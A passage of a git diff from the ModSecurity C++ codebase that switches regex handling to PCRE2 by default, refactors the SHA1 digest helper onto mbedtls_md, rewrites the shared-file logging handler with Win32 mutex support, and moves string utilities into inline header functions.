|| rc == PCRE2_ERROR_JIT_STACKLIMIT) { - rc = pcre2_match(m_pc, pcre2_s, s.length(), 0, PCRE2_NO_JIT, match_data, match_context); + rc = pcre2_match(m_pc, pcre2_s, s.length(), 0, PCRE2_NO_JIT, match_data, static_cast(match_context)); } - PCRE2_SIZE *ovector = pcre2_get_ovector_pointer(match_data); + const PCRE2_SIZE *ovector = pcre2_get_ovector_pointer(match_data); #else const char *subject = s.c_str(); int ovector[OVECCOUNT]; pcre_extra local_pce; pcre_extra *pce = m_pce; - if (m_pce != NULL && match_limit > 0) { + if (m_pce != nullptr && match_limit > 0) { local_pce = *m_pce; local_pce.match_limit = match_limit; local_pce.flags |= PCRE_EXTRA_MATCH_LIMIT; @@ -235,7 +235,7 @@ RegexResult Regex::searchOneMatch(const std::string& s, std::vector& captures, unsigned long match_limit) const { bool prev_match_zero_length = false; -#ifdef WITH_PCRE2 +#ifndef WITH_PCRE Pcre2MatchContextPtr match_context; if (match_limit > 0) { // TODO: What if setting the match limit fails? - pcre2_set_match_limit(match_context, match_limit); + pcre2_set_match_limit(static_cast(match_context), match_limit); } PCRE2_SPTR pcre2_s = reinterpret_cast(s.c_str()); PCRE2_SIZE startOffset = 0; - pcre2_match_data *match_data = pcre2_match_data_create_from_pattern(m_pc, NULL); + pcre2_match_data *match_data = pcre2_match_data_create_from_pattern(m_pc, nullptr); while (startOffset <= s.length()) { uint32_t pcre2_options = 0; if (prev_match_zero_length) { pcre2_options = PCRE2_NOTEMPTY_ATSTART | PCRE2_ANCHORED; } int rc = pcre2_match(m_pc, pcre2_s, s.length(), - startOffset, pcre2_options, match_data, match_context); - PCRE2_SIZE *ovector = pcre2_get_ovector_pointer(match_data); + startOffset, pcre2_options, match_data, static_cast(match_context)); + + RegexResult regex_result = to_regex_result(rc); + if (regex_result != RegexResult::Ok) { + pcre2_match_data_free(match_data); + return regex_result; + } + const PCRE2_SIZE *ovector = pcre2_get_ovector_pointer(match_data); #else const char *subject = s.c_str(); pcre_extra local_pce; pcre_extra *pce = m_pce; - if (m_pce != NULL && match_limit > 0) { + if (m_pce != nullptr && match_limit > 0) { local_pce = *m_pce; local_pce.match_limit = match_limit; local_pce.flags |= PCRE_EXTRA_MATCH_LIMIT; @@ -337,25 +343,25 @@ RegexResult Regex::searchGlobal(const std::string& s, std::vector } } -#ifdef WITH_PCRE2 +#ifndef WITH_PCRE pcre2_match_data_free(match_data); #endif return RegexResult::Ok; } int Regex::search(const std::string& s, SMatch *match) const { -#ifdef WITH_PCRE2 +#ifndef WITH_PCRE PCRE2_SPTR pcre2_s = reinterpret_cast(s.c_str()); - pcre2_match_data *match_data = pcre2_match_data_create_from_pattern(m_pc, NULL); + pcre2_match_data *match_data = pcre2_match_data_create_from_pattern(m_pc, nullptr); int ret = 0; if (m_pcje == 0) { ret = pcre2_match(m_pc, pcre2_s, s.length(), - 0, 0, match_data, NULL) > 0; + 0, 0, match_data, nullptr) > 0; } if (m_pcje != 0 || ret == PCRE2_ERROR_JIT_STACKLIMIT) { ret = pcre2_match(m_pc, pcre2_s, s.length(), - 0, PCRE2_NO_JIT, match_data, NULL) > 0; + 0, PCRE2_NO_JIT, match_data, nullptr) > 0; } if (ret > 0) { // match PCRE2_SIZE *ovector = pcre2_get_ovector_pointer(match_data); @@ -371,23 +377,23 @@ int Regex::search(const std::string& s, SMatch *match) const { 0); } -#ifdef WITH_PCRE2 +#ifndef WITH_PCRE pcre2_match_data_free(match_data); #endif return ret; } int Regex::search(const std::string& s) const { -#ifdef WITH_PCRE2 +#ifndef WITH_PCRE PCRE2_SPTR pcre2_s = reinterpret_cast(s.c_str()); - pcre2_match_data *match_data = pcre2_match_data_create_from_pattern(m_pc, NULL); + pcre2_match_data *match_data = pcre2_match_data_create_from_pattern(m_pc, nullptr); int rc = 0; if (m_pcje == 0) { - rc = pcre2_jit_match(m_pc, pcre2_s, s.length(), 0, 0, match_data, NULL); + rc = pcre2_jit_match(m_pc, pcre2_s, s.length(), 0, 0, match_data, nullptr); } if (m_pcje != 0 || rc == PCRE2_ERROR_JIT_STACKLIMIT) { - rc = pcre2_match(m_pc, pcre2_s, s.length(), 0, PCRE2_NO_JIT, match_data, NULL); + rc = pcre2_match(m_pc, pcre2_s, s.length(), 0, PCRE2_NO_JIT, match_data, nullptr); } pcre2_match_data_free(match_data); if (rc > 0) { @@ -405,7 +411,7 @@ int Regex::search(const std::string& s) const { RegexResult Regex::to_regex_result(int pcre_exec_result) const { if ( pcre_exec_result > 0 || -#ifdef WITH_PCRE2 +#ifndef WITH_PCRE pcre_exec_result == PCRE2_ERROR_NOMATCH #else pcre_exec_result == PCRE_ERROR_NOMATCH @@ -413,7 +419,7 @@ RegexResult Regex::to_regex_result(int pcre_exec_result) const { ) { return RegexResult::Ok; } else if( -#ifdef WITH_PCRE2 +#ifndef WITH_PCRE pcre_exec_result == PCRE2_ERROR_MATCHLIMIT #else pcre_exec_result == PCRE_ERROR_MATCHLIMIT diff --git a/src/utils/regex.h b/src/utils/regex.h index f27cdd2536..863ce560b6 100644 --- a/src/utils/regex.h +++ b/src/utils/regex.h @@ -12,7 +12,7 @@ * directly using the email address security@modsecurity.org. * */ -#if WITH_PCRE2 +#ifndef WITH_PCRE #define PCRE2_CODE_UNIT_WIDTH 8 #include #else @@ -79,7 +79,7 @@ class Regex { Regex& operator=(const Regex&) = delete; bool hasError() const { - return (m_pc == NULL); + return (m_pc == nullptr); } std::list searchAll(const std::string& s) const; RegexResult searchOneMatch(const std::string& s, std::vector& captures, unsigned long match_limit = 0) const; @@ -91,12 +91,12 @@ class Regex { private: RegexResult to_regex_result(int pcre_exec_result) const; -#if WITH_PCRE2 +#ifndef WITH_PCRE pcre2_code *m_pc; int m_pcje; #else - pcre *m_pc = NULL; - pcre_extra *m_pce = NULL; + pcre *m_pc = nullptr; + pcre_extra *m_pce = nullptr; #endif }; diff --git a/src/utils/sha1.cc b/src/utils/sha1.cc deleted file mode 100644 index 116d510709..0000000000 --- a/src/utils/sha1.cc +++ /dev/null @@ -1,60 +0,0 @@ -/* - * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) - * - * You may not use this file except in compliance with - * the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * If any of the files related to licensing are missing or if you have any - * other questions related to licensing please contact Trustwave Holdings, Inc. - * directly using the email address security@modsecurity.org. - * - */ - - -#include "src/utils/sha1.h" -#include "others/mbedtls/sha1.h" -#include -#include -#include - -namespace modsecurity { -namespace Utils { - - -std::string Sha1::hexdigest(const std::string& input) { - unsigned char digest[20] = { 0 }; - static const char* const lut = "0123456789abcdef"; - - mbedtls_sha1(reinterpret_cast(input.c_str()), - input.size(), digest); - std::string a; - - for (int i = 0; i < 20; i++) { - const unsigned char c = digest[i]; - a.push_back(lut[c >> 4]); - a.push_back(lut[c & 15]); - } - - return a; -} - - -std::string Sha1::digest(const std::string& input) { - unsigned char output[20]; - std::string ret; - - mbedtls_sha1(reinterpret_cast(input.c_str()), - input.size(), output); - - ret.assign(reinterpret_cast(output), 20); - - return ret; -} - - -} // namespace Utils -} // namespace modsecurity - diff --git a/src/utils/sha1.h b/src/utils/sha1.h index 6bae47c2b2..d827d7f656 100644 --- a/src/utils/sha1.h +++ b/src/utils/sha1.h @@ -3,7 +3,7 @@ * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with - * the License. You may obtain a copy of the License at + * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * @@ -13,26 +13,93 @@ * */ - #ifndef SRC_UTILS_SHA1_H_ #define SRC_UTILS_SHA1_H_ -#include -#include +#include +#include #include +#include + +#include "src/utils/string.h" +#include "mbedtls/md.h" + +namespace modsecurity::Utils { -namespace modsecurity { -namespace Utils { -class Sha1 { +template +class DigestImpl { public: - Sha1() { } + static bool digest(const std::string& input, std::string *output) { + if (output == nullptr) { + return false; + } + + std::array digestBytes; + if (!calculateDigest(input, &digestBytes)) { + return false; + } + + output->assign(digestBytes.begin(), digestBytes.end()); + return true; + } + + static bool digestReplace(std::string *value) { + if (value == nullptr) { + return false; + } + + return digest(*value, value); + } + + static bool hexdigest(const std::string& input, std::string *output) { + if (output == nullptr) { + return false; + } + + std::array digestBytes; + if (!calculateDigest(input, &digestBytes)) { + return false; + } + + const auto *digestByteData = + static_cast(static_cast(digestBytes.data())); + + output->assign(utils::string::string_to_hex(digestByteData, digestBytes.size())); + return true; + } + + private: + static bool calculateDigest(std::string_view input, + std::array *output) { + if (output == nullptr) { + return false; + } + + const mbedtls_md_info_t *mdInfo = mbedtls_md_info_from_type(DigestType); + if (mdInfo == nullptr) { + return false; + } + + const auto *inputBytes = + static_cast(static_cast(input.data())); + + if (const int ret = mbedtls_md( + mdInfo, + inputBytes, + input.size(), + output->data()); ret != 0) { + return false; + } + + return true; + } +}; + - static std::string hexdigest(const std::string& input); - static std::string digest(const std::string& input); +class Sha1 : public DigestImpl { }; -} // namespace Utils -} // namespace modsecurity +} // namespace modsecurity::Utils #endif // SRC_UTILS_SHA1_H_ diff --git a/src/utils/shared_files.cc b/src/utils/shared_files.cc index 73216bd002..6982d0d6e9 100644 --- a/src/utils/shared_files.cc +++ b/src/utils/shared_files.cc @@ -15,236 +15,131 @@ #include "src/utils/shared_files.h" -#include #include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include +#ifdef WIN32 +#include +#endif + namespace modsecurity { namespace utils { -std::pair SharedFiles::find_handler( - const std::string &fileName) { - for (const auto &i : m_handlers) { - if (i.first == fileName) { - return i.second; - } - } - return std::pair(NULL, NULL); -} - - -std::pair SharedFiles::add_new_handler( +SharedFiles::handlers_map::iterator SharedFiles::add_new_handler( const std::string &fileName, std::string *error) { - int shm_id; - int ret; - key_t mem_key_structure; - msc_file_handler_t *new_debug_log = NULL; - struct shmid_ds shared_mem_info; - FILE *fp; - bool toBeCreated = true; - - fp = fopen(fileName.c_str(), "a"); + FILE *fp = fopen(fileName.c_str(), "a"); if (fp == 0) { error->assign("Failed to open file: " + fileName); - goto err_fh; + return m_handlers.end(); } - mem_key_structure = ftok(fileName.c_str(), 1); - if (mem_key_structure < 0) { - error->assign("Failed to select key for the shared memory (1): "); - error->append(strerror(errno)); - goto err_mem_key; - } +#ifdef WIN32 + // replace invalid characters for a Win32 named object + auto tmp = fileName; + std::replace(tmp.begin(), tmp.end(), '\\', '_'); + std::replace(tmp.begin(), tmp.end(), '/', '_'); - shm_id = shmget(mem_key_structure, sizeof (msc_file_handler_t) \ - + fileName.size() + 1, IPC_CREAT | IPC_EXCL | 0666); - if (shm_id < 0) { - shm_id = shmget(mem_key_structure, sizeof (msc_file_handler_t) - + fileName.size() + 1, IPC_CREAT | 0666); - toBeCreated = false; - if (shm_id < 0) { - error->assign("Failed to allocate shared memory (1): "); - error->append(strerror(errno)); - goto err_shmget1; - } - } - - ret = shmctl(shm_id, IPC_STAT, &shared_mem_info); - if (ret < 0) { - error->assign("Failed to get information on shared memory (1): "); - error->append(strerror(errno)); - goto err_shmctl1; - } + // use named mutex for multi-process locking support + const auto mutexName = "Global\\ModSecurity_" + tmp; - new_debug_log = reinterpret_cast( - shmat(shm_id, NULL, 0)); - if ((reinterpret_cast(new_debug_log)[0]) == -1) { - error->assign("Failed to attach shared memory (1): "); - error->append(strerror(errno)); - goto err_shmat1; - } - - if (toBeCreated == false && shared_mem_info.shm_nattch == 0) { - toBeCreated = true; + HANDLE hMutex = CreateMutex(NULL, FALSE, mutexName.c_str()); + if (hMutex == NULL) { + error->assign("Failed to create mutex for shared file: " + fileName); + fclose(fp); + return m_handlers.end(); } +#endif - if (toBeCreated) { - memset(new_debug_log, '\0', sizeof(msc_file_handler_t)); - new_debug_log->shm_id_structure = shm_id; - memcpy(new_debug_log->file_name, fileName.c_str(), fileName.size()); - new_debug_log->file_name[fileName.size()] = '\0'; - } - m_handlers.push_back(std::make_pair(fileName, - std::make_pair(new_debug_log, fp))); - - return std::make_pair(new_debug_log, fp); -err_shmat1: - shmdt(new_debug_log); -err_shmctl1: -err_shmget1: -err_mem_key: - fclose(fp); -err_fh: - return std::pair(NULL, NULL); + auto handler = handler_info { + fp, +#ifdef WIN32 + hMutex, +#endif + 0 + }; + // cppcheck-suppress resourceLeak ; false positive, fp is closed in SharedFiles::close + return m_handlers.insert({ fileName, handler }).first; } bool SharedFiles::open(const std::string& fileName, std::string *error) { - std::pair a; - bool ret = true; - - #if MODSEC_USE_GENERAL_LOCK - pthread_mutex_lock(m_generalLock); -#endif - - a = find_handler(fileName); - if (a.first == NULL) { - a = add_new_handler(fileName, error); - if (error->size() > 0) { - ret = false; - goto out; - } + auto it = m_handlers.find(fileName); + if (it == m_handlers.end()) { + it = add_new_handler(fileName, error); + if (error->size() > 0) + return false; } - if (a.first == NULL) { + + if (it == m_handlers.end()) { error->assign("Not able to open: " + fileName); - ret = false; - goto out; + return false; } -out: -#if MODSEC_USE_GENERAL_LOCK - pthread_mutex_unlock(m_generalLock); -#endif + it->second.cnt++; - return ret; + return true; } void SharedFiles::close(const std::string& fileName) { - std::pair a; - /* int ret; */ - /* int shm_id; */ - /* struct shmid_ds shared_mem_info; */ - /* int j = 0; */ - -#if MODSEC_USE_GENERAL_LOCK - pthread_mutex_lock(m_generalLock); + if (fileName.empty()) + return; + + auto it = m_handlers.find(fileName); + if (it == m_handlers.end()) + return; + + it->second.cnt--; + if (it->second.cnt == 0) + { + fclose(it->second.fp); +#ifdef WIN32 + CloseHandle(it->second.hMutex); #endif - if (fileName.empty()) { - goto out; + m_handlers.erase(it); } - - a = find_handler(fileName); - if (a.first == NULL || a.second == NULL) { - goto out; - } - - /* fclose(a.second); */ - a.second = 0; - - /* - * Delete the file structure will be welcomed, but we cannot delay - * while the process is being killed. - * - for (std::pair> i : m_handlers) { - if (i.first == fileName) { - j++; - } - } - - m_handlers.erase(m_handlers.begin()+j); - */ - - /* hmdt(a.second); */ - shmctl(a.first->shm_id_structure, IPC_RMID, NULL); - - /* - * - * We could check to see how many process attached to the shared memory - * we have, prior to the deletion of the shared memory. - * - ret = shmctl(a.first->shm_id_structure, IPC_STAT, &shared_mem_info); - if (ret < 0) { - goto out; - } - ret = shared_mem_info.shm_nattch; - shm_id = a.first->shm_id_structure; - */ - -out: -#if MODSEC_USE_GENERAL_LOCK - pthread_mutex_unlock(m_generalLock); -#endif - return; } bool SharedFiles::write(const std::string& fileName, const std::string &msg, std::string *error) { - std::pair a; - std::string lmsg = msg; - size_t wrote; - struct flock lock{}; bool ret = true; - a = find_handler(fileName); - if (a.first == NULL) { + auto it = m_handlers.find(fileName); + if (it == m_handlers.end()) { error->assign("file is not open: " + fileName); return false; } //Exclusively lock whole file +#ifndef WIN32 + struct flock lock {}; lock.l_start = lock.l_len = lock.l_whence = 0; lock.l_type = F_WRLCK; - fcntl(fileno(a.second), F_SETLKW, &lock); + fcntl(fileno(it->second.fp), F_SETLKW, &lock); +#else + DWORD dwWaitResult = WaitForSingleObject(it->second.hMutex, INFINITE); + if (dwWaitResult != WAIT_OBJECT_0) { + error->assign("couldn't lock shared file: " + fileName); + return false; + } +#endif - wrote = fwrite(lmsg.c_str(), 1, lmsg.size(), a.second); + auto wrote = fwrite(msg.c_str(), 1, msg.size(), it->second.fp); if (wrote < msg.size()) { error->assign("failed to write: " + fileName); ret = false; } - fflush(a.second); + fflush(it->second.fp); //Remove exclusive lock +#ifndef WIN32 lock.l_type = F_UNLCK; - fcntl(fileno(a.second), F_SETLKW, &lock); + fcntl(fileno(it->second.fp), F_SETLKW, &lock); +#else + ::ReleaseMutex(it->second.hMutex); +#endif return ret; } diff --git a/src/utils/shared_files.h b/src/utils/shared_files.h index bec28f6527..a20ff3a9a6 100644 --- a/src/utils/shared_files.h +++ b/src/utils/shared_files.h @@ -17,45 +17,21 @@ #define SRC_UTILS_SHARED_FILES_H_ -#include -#include -#include #include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include - +#ifdef WIN32 +#include +#endif -#include "modsecurity/transaction.h" -#include "modsecurity/audit_log.h" +#include +#include -/** - * Not using this critical section yet. - * - */ -/* #define MODSEC_USE_GENERAL_LOCK */ namespace modsecurity { namespace utils { -typedef struct msc_file_handler { - int shm_id_structure; - char file_name[]; -} msc_file_handler_t; - - class SharedFiles { - public: +public: bool open(const std::string& fileName, std::string *error); void close(const std::string& fileName); bool write(const std::string& fileName, const std::string &msg, @@ -66,86 +42,31 @@ class SharedFiles { return instance; } - protected: - std::pair find_handler( - const std::string &fileName); - std::pair add_new_handler( - const std::string &fileName, std::string *error); - - private: - SharedFiles() -#ifdef MODSEC_USE_GENERAL_LOCK - : m_generalLock(NULL), - m_memKeyStructure(0) -#endif - { -#ifdef MODSEC_USE_GENERAL_LOCK - int shm_id; - bool toBeCreated(false); - bool err = false; - - m_memKeyStructure = ftok(".", 1); - if (m_memKeyStructure < 0) { - err = true; - goto err_mem_key; - } - - shm_id = shmget(m_memKeyStructure, sizeof(pthread_mutex_t), - IPC_CREAT | IPC_EXCL | 0666); - if (shm_id < 0) { - shm_id = shmget(m_memKeyStructure, sizeof(pthread_mutex_t), - IPC_CREAT | 0666); - toBeCreated = false; - if (shm_id < 0) { - err = true; - goto err_shmget1; - } - } - - m_generalLock = reinterpret_cast( - shmat(shm_id, NULL, 0)); - if ((reinterpret_cast(m_generalLock)[0]) == -1) { - err = true; - goto err_shmat1; - } - - if (toBeCreated) { - memset(m_generalLock, '\0', sizeof(pthread_mutex_t)); - pthread_mutex_init(m_generalLock, NULL); - pthread_mutex_unlock(m_generalLock); - } - - if (err) { -err_mem_key: - std::cerr << strerror(errno) << std::endl; -err_shmget1: - std::cerr << "err_shmget1" << std::endl; -err_shmat1: - std::cerr << "err_shmat1" << std::endl; - } -#endif - } - ~SharedFiles() { -#if MODSEC_USE_GENERAL_LOCK - shmdt(m_generalLock); - shmctl(m_memKeyStructure, IPC_RMID, NULL); -#endif - } +private: + SharedFiles() = default; + ~SharedFiles() = default; // C++ 03 // ======== // Dont forget to declare these two. You want to make sure they // are unacceptable otherwise you may accidentally get copies of // your singleton appearing. - SharedFiles(SharedFiles const&); - void operator=(SharedFiles const&); - - std::vector>> m_handlers; -#if MODSEC_USE_GENERAL_LOCK - pthread_mutex_t *m_generalLock; - key_t m_memKeyStructure; + SharedFiles(SharedFiles const&) = delete; + void operator=(SharedFiles const&) = delete; + + struct handler_info { + FILE* fp = nullptr; +#ifdef WIN32 + HANDLE hMutex = nullptr; #endif + unsigned int cnt = 0; + }; + + using handlers_map = std::unordered_map; + handlers_map m_handlers; + + handlers_map::iterator add_new_handler( + const std::string &fileName, std::string *error); }; diff --git a/src/utils/string.cc b/src/utils/string.cc deleted file mode 100644 index d0412d8e72..0000000000 --- a/src/utils/string.cc +++ /dev/null @@ -1,273 +0,0 @@ -/* - * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) - * - * You may not use this file except in compliance with - * the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * If any of the files related to licensing are missing or if you have any - * other questions related to licensing please contact Trustwave Holdings, Inc. - * directly using the email address security@modsecurity.org. - * - */ - -#include -#include -#include -#include -#ifdef __OpenBSD__ -#include -#else -#include -#endif -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include - -#if defined _MSC_VER -#include -#elif defined __GNUC__ -#include -#include -#endif - -#include "modsecurity/modsecurity.h" - -#include "src/utils/string.h" - - -namespace modsecurity { -namespace utils { -namespace string { - - -std::string parserSanitizer(std::string a) { - a = removeWhiteSpacesIfNeeded(a); - a = removeBracketsIfNeeded(a); - return a; -} - - -std::string removeWhiteSpacesIfNeeded(std::string a) { - while (a.size() > 1 && a.at(0) == ' ') { - a.erase(0, 1); - } - while (a.size() > 1 && a.at(a.length()-1) == ' ') { - a.pop_back(); - } - return a; -} - - -std::string ascTime(time_t *t) { - std::string ts = std::ctime(t); - ts.pop_back(); - return ts; -} - - -std::string dash_if_empty(const std::string *str) { - if (str == NULL || str->empty()) { - return "-"; - } - - return *str; -} - - -std::string dash_if_empty(const char *str) { - if (str == NULL || strlen(str) == 0) { - return "-"; - } - - return std::string(str); -} - - -std::string limitTo(int amount, const std::string &str) { - std::string ret; - - if (str.length() > amount) { - ret.assign(str, 0, amount); - ret = ret + " (" + std::to_string(str.length() - amount) + " " \ - "characters omitted)"; - return ret; - } - - return str; -} - - -std::string removeBracketsIfNeeded(std::string a) { - if (a.length() > 1 && a.at(0) == '"' && a.at(a.length()-1) == '"') { - a.pop_back(); - a.erase(0, 1); - } - if (a.length() > 1 && a.at(0) == '\'' && a.at(a.length()-1) == '\'') { - a.pop_back(); - a.erase(0, 1); - } - return a; -} - - -std::string string_to_hex(const std::string& input) { - static const char* const lut = "0123456789ABCDEF"; - size_t len = input.length(); - - std::string output; - output.reserve(2 * len); - for (size_t i = 0; i < len; ++i) { - const unsigned char c = input[i]; - output.push_back(lut[c >> 4]); - output.push_back(lut[c & 15]); - } - return output; -} - -std::string toHexIfNeeded(const std::string &str, bool escape_spec) { - // escape_spec: escape special chars or not - // spec chars: '"' (quotation mark, ascii 34), '\' (backslash, ascii 92) - std::stringstream res; - - for (int i = 0; i < str.size(); i++) { - int c = (unsigned char)str.at(i); - if (c < 32 || c > 126 || (escape_spec == true && (c == 34 || c == 92))) { - res << "\\x" << std::setw(2) << std::setfill('0') << std::hex << c; - } else { - res << str.at(i); - } - } - - return res.str(); -} - - -std::string tolower(std::string str) { - std::string value; - value.resize(str.length()); - - std::transform(str.begin(), - str.end(), - value.begin(), - ::tolower); - - return value; -} - - -std::string toupper(std::string str) { - std::string value; - value.resize(str.length()); - - std::transform(str.begin(), - str.end(), - value.begin(), - ::toupper); - - return value; -} - - -std::vector ssplit(std::string str, char delimiter) { - std::vector internal; - std::stringstream ss(str); // Turn the string into a stream. - std::string tok; - - while (getline(ss, tok, delimiter)) { - internal.push_back(tok); - } - - return internal; -} - - -std::pair ssplit_pair(const std::string& str, char delimiter) { - std::stringstream ss(str); // Turn the string into a stream. - std::string key; - std::string value; - - getline(ss, key, delimiter); - if (key.length() < str.length()) { - value = str.substr(key.length()+1); - } - - return std::make_pair(key, value); -} - - -std::vector split(std::string str, char delimiter) { - std::vector internal = ssplit(str, delimiter); - - if (internal.size() == 0) { - internal.push_back(str); - } - - return internal; -} - - -void chomp(std::string *str) { - std::string::size_type pos = str->find_last_not_of("\n\r"); - if (pos != std::string::npos) { - str->erase(pos+1, str->length()-pos-1); - } -} - - -unsigned char x2c(const unsigned char *what) { - unsigned char digit; - - digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A') + 10 : (what[0] - '0')); - digit *= 16; - digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A') + 10 : (what[1] - '0')); - - return digit; -} - - -/** - * Converts a single hexadecimal digit into a decimal value. - */ -unsigned char xsingle2c(const unsigned char *what) { - unsigned char digit; - - digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A') + 10 : (what[0] - '0')); - - return digit; -} - - -unsigned char *c2x(unsigned what, unsigned char *where) { - static const char c2x_table[] = "0123456789abcdef"; - - what = what & 0xff; - *where++ = c2x_table[what >> 4]; - *where++ = c2x_table[what & 0x0f]; - - return where; -} - - -void replaceAll(std::string *str, const std::string& from, - const std::string& to) { - size_t start_pos = 0; - while ((start_pos = str->find(from, start_pos)) != std::string::npos) { - str->replace(start_pos, from.length(), to); - start_pos += to.length(); - } -} - -} // namespace string -} // namespace utils -} // namespace modsecurity diff --git a/src/utils/string.h b/src/utils/string.h index a3f9d1b463..ac3264aeab 100644 --- a/src/utils/string.h +++ b/src/utils/string.h @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -13,23 +13,39 @@ * */ +#ifndef SRC_UTILS_STRING_H_ +#define SRC_UTILS_STRING_H_ + +#include #include -#include #include +#include #include +#include +#include +#include +#include +#include -#ifndef SRC_UTILS_STRING_H_ -#define SRC_UTILS_STRING_H_ +#ifdef WIN32 +#include "src/compat/msvc.h" +#endif -#define VALID_HEX(X) (((X >= '0') && (X <= '9')) || \ - ((X >= 'a') && (X <= 'f')) || ((X >= 'A') && (X <= 'F'))) -#define ISODIGIT(X) ((X >= '0') && (X <= '7')) -#define NBSP 160 +namespace modsecurity::utils::string { +template +constexpr bool VALID_HEX(CharT X) { + return ((X >= '0') && (X <= '9')) + || ((X >= 'a') && (X <= 'f')) + || ((X >= 'A') && (X <= 'F')); +} -namespace modsecurity { -namespace utils { -namespace string { +template +constexpr bool ISODIGIT(CharT X) { + return (X >= '0') && (X <= '7'); +} + +constexpr unsigned char NBSP = 160; const char HEX2DEC[256] = { /* 0 1 2 3 4 5 6 7 8 9 A B C D E F */ @@ -55,30 +71,236 @@ const char HEX2DEC[256] = { }; -std::string ascTime(time_t *t); -std::string dash_if_empty(const char *str); -std::string dash_if_empty(const std::string *str); -std::string limitTo(int amount, const std::string &str); -std::string removeBracketsIfNeeded(std::string a); -std::string string_to_hex(const std::string& input); -std::string toHexIfNeeded(const std::string &str, bool escape_spec = false); -std::string tolower(std::string str); -std::string toupper(std::string str); -std::vector ssplit(std::string str, char delimiter); -std::pair ssplit_pair(const std::string& str, char delimiter); -std::vector split(std::string str, char delimiter); -void chomp(std::string *str); -void replaceAll(std::string *str, const std::string& from, - const std::string& to); -std::string removeWhiteSpacesIfNeeded(std::string a); -std::string parserSanitizer(std::string a); - -unsigned char x2c(const unsigned char *what); -unsigned char xsingle2c(const unsigned char *what); -unsigned char *c2x(unsigned what, unsigned char *where); - -} // namespace string -} // namespace utils -} // namespace modsecurity +inline std::string ascTime(const time_t *t) { + struct tm timeinfo; + localtime_r(t, &timeinfo); + char tstr[std::size("Www Mmm dd hh:mm:ss yyyy")]; + strftime(tstr, std::size(tstr), "%c", &timeinfo); + return tstr; +} + + +inline std::string dash_if_empty(const std::string *str) { + if (str == nullptr || str->empty()) { + return "-"; + } + + return *str; +} + + +inline std::string limitTo(int amount, const std::string &str) { + std::string ret; + + if (str.length() > amount) { + ret.assign(str, 0, amount); + ret = ret + " (" + std::to_string(str.length() - amount) + " " \ + "characters omitted)"; + return ret; + } + + return str; +} + + +inline std::string toHexIfNeeded(const std::string &str, bool escape_spec = false) { + // escape_spec: escape special chars or not + // spec chars: '"' (quotation mark, ascii 34), '\' (backslash, ascii 92) + std::stringstream res; + + for (const auto ch : str) { + int c = (unsigned char)ch; + if (c < 32 || c > 126 || (escape_spec == true && (c == 34 || c == 92))) { + res << "\\x" << std::setw(2) << std::setfill('0') << std::hex << c; + } else { + res << ch; + } + } + + return res.str(); +} + + +inline std::vector ssplit(const std::string &str, char delimiter) { + std::vector internal; + std::stringstream ss(str); // Turn the string into a stream. + std::string tok; + + while (getline(ss, tok, delimiter)) { + internal.push_back(tok); + } + + return internal; +} + + +inline std::pair ssplit_pair(const std::string& str, char delimiter) { + std::stringstream ss(str); // Turn the string into a stream. + std::string key; + std::string value; + + getline(ss, key, delimiter); + if (key.length() < str.length()) { + value = str.substr(key.length()+1); + } + + return std::make_pair(key, value); +} + + +inline std::vector split(const std::string &str, char delimiter) { + std::vector internal = ssplit(str, delimiter); + + if (internal.empty()) { + internal.push_back(str); + } + + return internal; +} + + +inline void chomp(std::string &str) { + std::string::size_type pos = str.find_last_not_of("\n\r"); + if (pos != std::string::npos) { + str.erase(pos+1, str.length()-pos-1); + } +} + + +inline void replaceAll(std::string &str, std::string_view from, + std::string_view to) { + size_t start_pos = 0; + while ((start_pos = str.find(from, start_pos)) != std::string::npos) { + str.replace(start_pos, from.length(), to); + start_pos += to.length(); + } +} + + +inline std::string removeWhiteSpacesIfNeeded(std::string a) { + while (a.size() > 1 && a.front() == ' ') { + a.erase(0, 1); + } + while (a.size() > 1 && a.back() == ' ') { + a.pop_back(); + } + return a; +} + + +inline std::string removeBracketsIfNeeded(std::string a) { + if (a.length() > 1 && a.front() == '"' && a.back() == '"') { + a.pop_back(); + a.erase(0, 1); + } + if (a.length() > 1 && a.front() == '\'' && a.back() == '\'') { + a.pop_back(); + a.erase(0, 1); + } + return a; +} + + +inline std::string parserSanitizer(std::string a) { + a = removeWhiteSpacesIfNeeded(a); + a = removeBracketsIfNeeded(a); + return a; +} + + +/** + * Converts a single hexadecimal digit into a decimal value. + */ +inline unsigned char xsingle2c(const unsigned char *what) { + unsigned char digit; + + digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A') + 10 : (what[0] - '0')); + + return digit; +} + + +inline unsigned char x2c(const unsigned char *what) { + unsigned char digit; + + digit = xsingle2c(what); + digit *= 16; + digit += xsingle2c(what+1); + + return digit; +} + + +inline unsigned char *c2x(unsigned what, unsigned char *where) { + static const char c2x_table[] = "0123456789abcdef"; + + what = what & 0xff; + *where++ = c2x_table[what >> 4]; + *where++ = c2x_table[what & 0x0f]; + + return where; +} + + +inline std::string string_to_hex(const std::byte *input, size_t size) { + static const char* const lut = "0123456789abcdef"; + + std::string a(size*2, 0); + char *d = a.data(); + + for (size_t i = 0; i < size; ++i) { + const std::byte b = input[i]; + *d++ = lut[std::to_integer(b >> 4)]; + *d++ = lut[std::to_integer(b & std::byte{0x0F})]; + } + + return a; +} + + +inline std::string string_to_hex(const unsigned char *input, size_t size) { + return string_to_hex( + static_cast(static_cast(input)), + size); 